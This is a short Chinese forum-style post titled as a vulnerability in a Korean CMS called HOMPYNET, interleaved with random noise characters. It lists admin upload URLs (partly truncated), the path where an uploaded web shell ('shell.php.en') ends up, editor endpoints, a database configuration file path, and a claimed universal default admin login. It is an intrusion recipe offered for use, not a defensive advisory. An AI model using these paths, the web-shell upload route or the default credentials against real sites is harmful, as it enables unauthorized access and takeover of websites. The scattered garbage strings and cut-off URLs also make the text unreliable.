韩国HOMPYNET CMS漏洞

admin

上传漏洞  :
* Y- O; m: W& i& U7 b8 Z2 l1 U
* b+ v, k  R4 @! h4 q  R  X2 Q, Thttp://www.xxx.com/admin/image_a ... p;iname=&iform=

5 ]2 }) p4 @0 }3 Y; n8 o/ `http://www.xxx.com/admin/image_a ... p;iname=&iform=
5 O6 |" u( k4 m6 G6 {
上传后路径：

http://www.xxx.com/bis_web_page/images/shell.php.en
& C9 |" q+ B) o9 F9 w: B$ \4 q+ z
3 f, d8 m+ i' Y: P7 b0 _7 E1 D  s编辑器：
3 w9 W& Z4 i. Z& l
: s6 v6 o, T' n1 U6 zhttp://www.xxx.com/admin/editor/SWE.php

6 \; r( D5 h2 E4 ~. \. thttp://www.xxx.com/program/editor/SWE.php

5 N( R5 w7 g( j5 W) G' J. j3 a9 `) Q数据配置文件路径：
' }) |  Z3 P9 y
http://www.xxx.com/m_config/DATA/g_setting.php
1 c: Z  [+ L9 k! a( }) W
此程序通用后台账号 ：gamsiw  php99

​